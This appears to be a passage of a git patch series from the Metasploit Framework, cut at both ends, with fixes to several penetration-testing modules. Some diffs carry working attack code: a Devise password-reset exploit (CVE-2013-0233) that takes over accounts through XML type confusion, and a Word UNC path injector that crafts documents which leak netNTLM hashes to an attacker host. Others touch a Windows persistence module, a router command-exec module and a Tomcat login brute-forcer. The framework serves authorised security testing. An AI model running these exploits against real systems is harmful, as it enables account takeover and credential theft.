tweak this for some apps... + error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] + if (report) && (error_text !~ /token/) + print_error("Server returned an error:") + print_error(error_text) + return false + end + when 302 + #Success! + return true + else + print_error("ERROR: received code #{res.code}") + return false + end + } + + print_error("No active reset tokens below #{datastore['MAXINT']} remain. + Try a higher MAXINT.") if report + return false + + end + + def run + # Clear outstanding reset tokens, helps ensure we hit the intended account. + clear_tokens() if datastore['FLUSHTOKENS'] + + # Generate a token for our account + generate_token(datastore['TARGETEMAIL']) + + # Reset a password. We're racing users creating other reset tokens. + # If we didn't flush, we'll reset the account with the lowest ID that has a token. + status = reset_one(datastore['PASSWORD'], true) + status ? print_good("Success") : print_error("Failed") + end +end \ No newline at end of file From 43a1fbb6f29b783742ac79ff055d6e0783d3797f Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Sun, 10 Feb 2013 21:13:18 -0600 Subject: [PATCH 181/448] Make msftiday happy. --- .../auxiliary/admin/http/rails_devise_pass_reset.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 48ae2186ad..c249f96d5c 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -13,12 +13,12 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Rails Devise authentication gem Password Reset', + 'Name' => 'Rails Devise Authentication Gem Password Reset', 'Description' => %q{ The Devise authentication gem for Ruby on Rails is vulnerable - to a password reset exploit leveraging type confusion. By submitting XML + to a password reset exploit leveraging type confusion. By submitting XML to rails, we can influence the type used for the reset_password_token - parameter. This allows for resetting passwords of arbitrary accounts, + parameter. This allows for resetting passwords of arbitrary accounts, knowing only the associated email address. This module defaults to the most common devise URIs and response values, @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', 'CVE-2013-0233'], + [ 'CVE', '2013-0233'], [ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'], [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'], ], @@ -99,7 +99,7 @@ class Metasploit3 < Msf::Auxiliary #binding.pry if report - case res.code + case res.code when 200 # Failure, grab the error text # May need to tweak this for some apps... @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary when 302 #Success! return true - else + else print_error("ERROR: received code #{res.code}") return false end From 991e65770c165f8bde901e335968cbdefc5171a2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 11 Feb 2013 15:06:19 +0100 Subject: [PATCH 182/448] minor cleanup for word_unc_injector --- modules/auxiliary/docx/word_unc_injector.rb | 52 +++++++++++---------- 1 file changed, 28 insertions(+), 24 deletions(-) diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index 3ee9bb93da..2d03d0a596 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -17,30 +17,30 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Microsoft Word UNC Path Injector', 'Description' => %q{ - This module modifies a .docx file that will, upon opening, submit all - stored netNTLM credentials to a remote host. It can also create an empty docx file. - If emailed the receiver needs to put the document in editing mode - before the remote server will be contacted. Preview and read-only - mode do not work. Verified to work with Microsoft Word 2003, - 2007 and 2010 as of January 2013 date by using auxiliary/server/capture/smb + This module modifies a .docx file that will, upon opening, submit stored + netNTLM credentials to a remote host. It can also create an empty docx file. If + emailed the receiver needs to put the document in editing mode before the remote + server will be contacted. Preview and read-only mode do not work. Verified to work + with Microsoft Word 2003, 2007 and 2010 as of January 2013. In order to get the + hashes the auxiliary/server/capture/smb module can be used. }, 'License' => MSF_LICENSE, 'References' => - [ - [ 'URL', 'http://jedicorp.com/?p=534' ], - ], + [ + [ 'URL', 'http://jedicorp.com/?p=534' ] + ], 'Author' => - [ - 'SphaZ ' - ] + [ + 'SphaZ ' + ] )) register_options( [ - OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']), - OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']), - OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']), - OptString.new('DOCAUTHOR',[false,'Document author for empty document.', '']), + OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.']), + OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document.']), + OptString.new('FILENAME', [true, 'Document output filename.', 'msf.docx']), + OptString.new('DOCAUTHOR',[false,'Document author for empty document.']), ], self.class) end @@ -59,24 +59,26 @@ class Metasploit3 < Msf::Auxiliary #where to find the skeleton files required for creating an empty document data_dir = File.join(Msf::Config.install_root, "data", "exploits", "docx") - #making the actual docx - docx = Rex::Zip::Archive.new + zip_data = {} + #add skeleton files vprint_status("Adding skeleton files from #{data_dir}") Dir["#{data_dir}/**/**"].each do |file| if not File.directory?(file) - docx.add_file(file.sub(data_dir,''), File.read(file)) + zip_data[file.sub(data_dir,'')] = File.read(file) end end + #add on-the-fly created documents vprint_status("Adding injected files") - docx.add_file("docProps/core.xml", metadata_file_data) - docx.add_file("word/_rels/settings.xml.rels", @rels_file_data) + zip_data["docProps/core.xml"] = metadata_file_data + zip_data["word/_rels/settings.xml.rels"] = @rels_file_data + #add the otherwise skipped "hidden" file file = "#{data_dir}/_rels/.rels" - docx.add_file(file.sub(data_dir,''), File.read(file)) + zip_data[file.sub(data_dir,'')] = File.read(file) #and lets create the file - file_create(docx.pack) + zip_docx(zip_data) end #here we inject an UNC path into an existing file, and store the injected file in FILENAME @@ -177,7 +179,9 @@ class Metasploit3 < Msf::Auxiliary else #extract the word/settings.xml and edit in the reference we need print_status("Injecting UNC path into existing document.") - if not manipulate_file.nil? + if manipulate_file.nil? + print_error("Failed to create a document from #{datastore['SOURCE']}.") + else print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.") end end From 24c3f1b99d6375f535d801cdd151639b07cd5dfd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 11 Feb 2013 15:07:49 +0100 Subject: [PATCH 183/448] fix msftidy --- modules/auxiliary/docx/word_unc_injector.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index 2d03d0a596..926af2a6d3 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary #here we inject an UNC path into an existing file, and store the injected file in FILENAME def manipulate_file ref = "" - + if not File.stat(datastore['SOURCE']).readable? print_error("Not enough rights to read the file. Aborting.") return nil From 55efe01bf7874782fe0923af16b1fb2a273b271b Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Mon, 11 Feb 2013 11:23:06 -0400 Subject: [PATCH 184/448] Applied fixes --- modules/auxiliary/gather/dns_info.rb | 30 +++++++++++++++++++--------- 1 file changed, 21 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index f57fb1649f..ce13243377 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -40,18 +40,23 @@ class Metasploit3 < Msf::Auxiliary def run print_status("Enumerating #{datastore['DOMAIN']}") @res = Net::DNS::Resolver.new() - @res.retry = datastore['RETRY'].to_i - @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end + wildcard(datastore['DOMAIN']) switchdns() if not datastore['NS'].nil? - # Get A and AAAA Records for the domain get_ip(datastore['DOMAIN']).each do |r| print_good("#{r[:host]} #{r[:address]} #{r[:type]}") report_host(:host => r[:address]) end - # Get Name Servers get_ns(datastore['DOMAIN']).each do |r| print_good("#{r[:host]} #{r[:address]} #{r[:type]}") report_host(:host => r[:address], :name => r[:host]) @@ -63,13 +68,11 @@ class Metasploit3 < Msf::Auxiliary ) end - # Get SOA get_soa(datastore['DOMAIN']).each do |r| print_good("#{r[:host]} #{r[:address]} #{r[:type]}") report_host(:host => r[:address], :name => r[:host]) end - #Get MX get_mx(datastore['DOMAIN']).each do |r| print_good("#{r[:host]} #{r[:address]} #{r[:type]}") report_host(:host => r[:address], :name => r[:host]) @@ -81,10 +84,12 @@ class Metasploit3 < Msf::Auxiliary ) end - # Get TX get_txt(datastore['DOMAIN']).each do |r| - print_good("#{r[:host]} #{r[:address]} #{r[:type]}") - report_host(:host => r[:address], :name => r[:host]) + report_note(:host => datastore['DOMAIN'], + :proto => 'UDP', + :port => 53, + :type => 'dns.info', + :data => {:text => r[:text]}) end end @@ -175,12 +180,19 @@ class Metasploit3 < Msf::Auxiliary #--------------------------------------------------------------------------------- def get_txt(target) + results = [] query = @res.query(target, "TXT") if (query) query.answer.each do |rr| + record = {} print_good("Text: #{rr.txt}, TXT") + record[:host] = target + record[:text] = rr.txt + record[:type] = "TXT" + results << record end end + return results end #--------------------------------------------------------------------------------- From 5f107046973def335d690497c048ca4622ce2649 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Mon, 11 Feb 2013 11:31:13 -0400 Subject: [PATCH 185/448] applied fixes --- modules/auxiliary/gather/dns_reverse_lookup.rb | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index e3e28342a6..cc102b9235 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -33,14 +33,21 @@ class Metasploit3 < Msf::Auxiliary [ OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), - OptInt.new('THREADS', [ false, "Number of seconds to wait before doing a retry", 2]), + OptInt.new('THREADS', [ true, "Number of seconds to wait before doing a retry", 2]), ], self.class) end def run @res = Net::DNS::Resolver.new() - @res.retry = datastore['RETRY'].to_i - @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end + @threadnum = datastore['THREADS'].to_i switchdns() if not datastore['NS'].nil? reverselkp(datastore['RANGE']) @@ -72,7 +79,6 @@ class Metasploit3 < Msf::Auxiliary rescue ::Rex::ConnectionError rescue ::Exception => e print_error("Error: #{tip}: #{e.message}") - elog("Error running against host #{tip}: #{e.message}\n#{e.backtrace.join("\n")}") end end end From fd6f00f641e3a2e3d3b9cac459fe592ea394882f Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Mon, 11 Feb 2013 11:37:20 -0400 Subject: [PATCH 186/448] added report note for wildcard --- modules/auxiliary/gather/dns_info.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index ce13243377..a6f0ff2b80 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -101,6 +101,11 @@ class Metasploit3 < Msf::Auxiliary print_status("This Domain has Wildcards Enabled!!") query.answer.each do |rr| print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + report_note(:host => datastore['DOMAIN'], + :proto => 'UDP', + :port => 53, + :type => 'dns.wildcard', + :data => "Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") end return true else From 5edb138a8f370f033723e6202d3912c104ad921e Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Mon, 11 Feb 2013 11:51:33 -0400 Subject: [PATCH 187/448] fixed nil issue --- modules/exploits/windows/local/persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 386d6900de..126b94e3f5 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -163,7 +163,7 @@ class Metasploit3 < Msf::Exploit::Local #------------------------------------------------------------------------------- def write_script_to_target(vbs,name) tempdir = session.fs.file.expand_path("%TEMP%") - if name + if name == nil tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" else tempvbs = tempdir + "\\" + name + ".vbs" From 431641fec9cfcdede80fa543d7d921cff81a5f52 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Mon, 11 Feb 2013 12:02:15 -0400 Subject: [PATCH 188/448] added check for retry options --- modules/auxiliary/gather/dns_srv.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb index 4bbccba518..71f95c161d 100644 --- a/modules/auxiliary/gather/dns_srv.rb +++ b/modules/auxiliary/gather/dns_srv.rb @@ -38,8 +38,13 @@ class Metasploit3 < Msf::Auxiliary def run records = [] @res = Net::DNS::Resolver.new() - @res.retry = datastore['RETRY'].to_i - @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end print_status("Enumerating SRV Records for #{datastore['DOMAIN']}") records = records + srvqry(datastore['DOMAIN']) From 6c85e5242e6285f3a76b14c24fa85a59b6288fd2 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Mon, 11 Feb 2013 12:04:30 -0400 Subject: [PATCH 189/448] change wildcard message to print_warning --- modules/auxiliary/gather/dns_bruteforce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index 0c289eddb3..070c32f0cc 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary if query.answer.length != 0 print_status("This Domain has Wildcards Enabled!!") query.answer.each do |rr| - print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + print_warning("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME end return true else From 84534caae167697a6930776a0fdf9c0d5243f40a Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 11 Feb 2013 10:32:44 -0600 Subject: [PATCH 190/448] Fix expliciti basic_auth for http --- lib/rex/proto/http/client.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 760268a7f7..41adf30aed 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -239,6 +239,7 @@ class Client # @return [Request] def request_cgi(opts={}) c_ag = opts['agent'] || config['agent'] + c_auth = opts['basic_auth'] || config['basic_auth'] || '' c_body = opts['data'] || '' c_cgi = opts['uri'] || '/' c_conn = opts['connection'] @@ -313,6 +314,10 @@ class Client req << set_host_header(c_host) req << set_agent_header(c_ag) + if (c_auth.length > 0) + req << set_basic_auth_header(c_auth) + end + req << set_cookie_header(c_cook) req << set_connection_header(c_conn) req << set_extra_headers(c_head) From e72dc47448a7747e347d3a3715ac7657d96592b4 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 11 Feb 2013 11:12:29 -0600 Subject: [PATCH 191/448] Uses REXML for encoding of password. --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index c249f96d5c..b902b6d7a9 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'rexml/element' class Metasploit3 < Msf::Auxiliary @@ -80,13 +81,15 @@ class Metasploit3 < Msf::Auxiliary end def reset_one(password, report=false) - print_status("Resetting password to \"#{datastore['PASSWORD']}\"") if report + print_status("Resetting password to \"#{password}\"") if report (0..datastore['MAXINT']).each{ |int_to_try| + encode_pass = REXML::Text.new(password).to_s + xml = "" xml << "" - xml << "#{password}" - xml << "#{password}" + xml << "#{xmlpass}" + xml << "#{encode_pass}" xml << "#{int_to_try}" xml << "" From 61ffcedbfd64fd6d190a6d92f4f0265e757463de Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 11 Feb 2013 11:17:26 -0600 Subject: [PATCH 192/448] Address HD's other comments, fixes mismatched var name in last commit. --- .../auxiliary/admin/http/rails_devise_pass_reset.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index b902b6d7a9..ac2a3d8942 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Rails Devise Authentication Gem Password Reset', + 'Name' => 'Ruby on Rails Devise Authentication Password Reset', 'Description' => %q{ The Devise authentication gem for Ruby on Rails is vulnerable to a password reset exploit leveraging type confusion. By submitting XML @@ -48,10 +48,10 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('URIPATH', [ true, "The request URI", '/users/password']), - OptString.new('TARGETEMAIL', [true, "The Email address of target account", '']), - OptString.new('PASSWORD', [true, 'The password to set', "#{Rex::Text.rand_text_alpha(rand(10) + 5)}"]), + OptString.new('TARGETEMAIL', [true, "The email address of target account"]), + OptString.new('PASSWORD', [true, 'The password to set']), OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]), - OptInt.new('MAXINT', [true, "Max integer to try (Tokens begining with a higher int will fail)", 10]) + OptInt.new('MAXINT', [true, "Max integer to try (tokens begining with a higher int will fail)", 10]) ], self.class) end @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary xml = "" xml << "" - xml << "#{xmlpass}" + xml << "#{encode_pass}" xml << "#{encode_pass}" xml << "#{int_to_try}" xml << "" From a43b902b5cb163df1b9040e6eda31f031b0e9d75 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 11 Feb 2013 12:00:40 -0600 Subject: [PATCH 193/448] Fix tomcat_mgr_login auth --- modules/auxiliary/scanner/http/tomcat_mgr_login.rb | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 65ab691e66..75f88e7ed3 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -87,10 +87,6 @@ class Metasploit3 < Msf::Auxiliary vprint_error("http://#{rhost}:#{rport}#{uri} - No response") return end - if res.code != 401 - vprint_error("http://#{rhost}:#{rport} - Authorization not requested") - return - end each_user_pass { |user, pass| do_login(user, pass) @@ -107,10 +103,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', - 'headers' => - { - 'Authorization' => "Basic #{user_pass}", - } + 'username' => user, + 'password' => pass }, 25) unless (res.kind_of? Rex::Proto::Http::Response) vprint_error("http://#{rhost}:#{rport}#{uri} not responding") From 0ccf7dd58a0ebe908f745045f1b6ac3837781799 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 11 Feb 2013 13:06:26 -0600 Subject: [PATCH 194/448] trust any manualy set basic auth header for now we will assume the module author knows what they are doing. --- lib/rex/proto/http/client.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 41adf30aed..3f85ddd9f8 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -209,7 +209,9 @@ class Client req << set_agent_header(c_ag) if (c_auth.length > 0) - req << set_basic_auth_header(c_auth) + unless c_head['Authorization'].include? "Basic" + req << set_basic_auth_header(c_auth) + end end req << set_cookie_header(c_cook) @@ -315,7 +317,9 @@ class Client req << set_agent_header(c_ag) if (c_auth.length > 0) - req << set_basic_auth_header(c_auth) + unless c_head['Authorization'].include? "Basic" + req << set_basic_auth_header(c_auth) + end end req << set_cookie_header(c_cook) From f90fdcd5eba83df46b8f677498459df47bf3c077 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 11 Feb 2013 13:14:05 -0600 Subject: [PATCH 195/448] Missed nil check --- lib/rex/proto/http/client.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 3f85ddd9f8..75ba1f9574 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -209,7 +209,7 @@ class Client req << set_agent_header(c_ag) if (c_auth.length > 0) - unless c_head['Authorization'].include? "Basic" + unless c_head['Authorization'] and c_head['Authorization'].include? "Basic" req << set_basic_auth_header(c_auth) end end @@ -317,7 +317,7 @@ class Client req << set_agent_header(c_ag) if (c_auth.length > 0) - unless c_head['Authorization'].include? "Basic" + unless c_head['Authorization'] and c_head['Authorization'].include? "Basic" req << set_basic_auth_header(c_auth) end end From 753fa2c85324b3881c5475809b15129c7f5ee64f Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 11 Feb 2013 13:58:56 -0600 Subject: [PATCH 196/448] Handles error when TARGETEMAIL is invalid. --- .../admin/http/rails_devise_pass_reset.rb | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index ac2a3d8942..e6898a5797 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -7,6 +7,7 @@ require 'msf/core' require 'rexml/element' +require 'pry' class Metasploit3 < Msf::Auxiliary @@ -67,6 +68,15 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'POST', 'data' => postdata, }) + + if res.code == 200 + error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] + print_error("Server returned an error:") + print_error(error_text) + return false + end + return true + #binding.pry end def clear_tokens() @@ -100,8 +110,6 @@ class Metasploit3 < Msf::Auxiliary 'data' => xml, }) - #binding.pry if report - case res.code when 200 # Failure, grab the error text @@ -132,7 +140,12 @@ class Metasploit3 < Msf::Auxiliary clear_tokens() if datastore['FLUSHTOKENS'] # Generate a token for our account - generate_token(datastore['TARGETEMAIL']) + status = generate_token(datastore['TARGETEMAIL']) + if status == false + print_error("Failed") + return + end + print_good("Success") # Reset a password. We're racing users creating other reset tokens. # If we didn't flush, we'll reset the account with the lowest ID that has a token. From 5f0a3c6b9e3dca51cb68aa39f413a7affcab2ebd Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 11 Feb 2013 14:02:46 -0600 Subject: [PATCH 197/448] Removes pry, oops. --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index e6898a5797..6445c286be 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rexml/element' -require 'pry' class Metasploit3 < Msf::Auxiliary @@ -76,7 +75,6 @@ class Metasploit3 < Msf::Auxiliary return false end return true - #binding.pry end def clear_tokens() From 766257d26ac6ca2c08dabf42af7fec06998480bb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 11 Feb 2013 21:21:43 +0100 Subject: [PATCH 198/448] pointed by @m-1-k-3 while working on #1472 --- modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index 2c99d9c9f4..189f937ea1 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -136,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', - 'basic_auth' => "#{pass}:#{pass}", + 'basic_auth' => "#{user}:#{pass}", #'data' => data_cmd, 'vars_post' => { From 039fd2b8853fc0deae8ecc522db41b21a2f8e105 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 11 Feb 2013 15:54:40 -0600 Subject: [PATCH 199/448] Adds some light testing for Rex's HTTP client lib In light ofi PR #1476, it would be nice to have some basic, modern, maintained testing on Rex's HTTP Client proto library. My rspec fu is quite weak, of course, but this should cover the very basic cases. There are lots of pending holes, but hey, it's a start. --- lib/rex/proto/http/client.rb | 3 +- spec/lib/rex/proto/http/client.rb | 244 ++++++++++++++++++++++++++++++ 2 files changed, 246 insertions(+), 1 deletion(-) create mode 100644 spec/lib/rex/proto/http/client.rb diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 760268a7f7..6159514399 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -420,7 +420,8 @@ class Client !(self.username.nil?) && self.username != '' end - # + alias :has_creds? :have_creds? + # Params - # res = The 401 response we need to auth from # opts = the opts used to generate the request that created this response diff --git a/spec/lib/rex/proto/http/client.rb b/spec/lib/rex/proto/http/client.rb new file mode 100644 index 0000000000..7555614842 --- /dev/null +++ b/spec/lib/rex/proto/http/client.rb @@ -0,0 +1,244 @@ +require 'rex/proto/http/client' + +# Note: Some of these tests require a failed +# connection to 127.0.0.1:1. If you have some crazy local +# firewall that is dropping packets to this, your tests +# might be slow. I wonder how Travis-CI will react to this... + +# Set a standard excuse that indicates that the method +# under test needs to be first examined to figure out +# what's sane and what's not. +def excuse_lazy(test_method=nil) + ret = "need to determine pass/fail criteria" + test_method ? ret << " for #{test_method.inspect}" : ret +end + +# Complain about not having a "real" connection (can be mocked) +def excuse_needs_connection + "need to actually set up an HTTP server to test" +end + +# Complain about not having a real auth server (can be mocked) +def excuse_needs_auth + "need to set up an HTTP authentication challenger" +end + +describe Rex::Proto::Http::Client do + + ip = "1.2.3.4" + + cli = Rex::Proto::Http::Client.new(ip) + it "should respond to intialize" do + cli.should be + end + + it "should have a set of default instance variables" do + cli.instance_variable_get(:@hostname).should == ip + cli.instance_variable_get(:@port).should == 80 + cli.instance_variable_get(:@context).should == {} + cli.instance_variable_get(:@ssl).should be_false + cli.instance_variable_get(:@proxies).should be_nil + cli.instance_variable_get(:@username).should be_empty + cli.instance_variable_get(:@password).should be_empty + cli.config.should be_a_kind_of Hash + cli.config_types.should be_a_kind_of Hash + end + + it "should produce a raw HTTP request" do + cli.request_raw.should be_a_kind_of Rex::Proto::Http::Request + end + + it "should produce a CGI HTTP request" do + cli.request_cgi.should be_a_kind_of Rex::Proto::Http::Request + end + + it "should attempt to connect to a server" do + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) + expect { this_cli.connect(1) }.to raise_error ::Rex::ConnectionRefused + end + + it "should be able to close a connection" do + cli.close.should be_nil + end + + it "should send a request and receive a response" do + # cli.send_recv + pending excuse_needs_connection + end + + it "should send a request and receive a response without auth handling" do + # cli._send_recv + pending excuse_needs_connection + end + + it "should send a request" do + # cli.send_request + pending excuse_needs_connection + end + + it "should test for credentials" do + cli.should_not have_creds + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) + this_cli.should have_creds + end + + it "should send authentication" do + pending excuse_needs_connection + end + + it "should produce a basic authentication header" do + u = "user1" + p = "pass1" + b64 = ["#{u}:#{p}"].pack("m*").strip + cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" + end + + it "should perform digest authentication" do + # cli.digest_auth + pending excuse_needs_auth + end + + it "should perform negotiate authentication" do + # cli.negotiate_auth + pending excuse_needs_auth + end + + it "should get a response" do + # cli.read_response + pending excuse_needs_connection + end + + it "should end a connection with a stop" do + cli.stop.should be_nil + end + + it "should test if a connection is valid" do + cli.conn?.should be_false + end + + it "should tell if pipelining is enabled" do + cli.pipelining?.should be_false + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) + this_cli.pipeline = true + this_cli.pipelining?.should be_true + end + + it "should return an encoded URI" do + pending excuse_lazy :set_encode_uri + end + + it "should 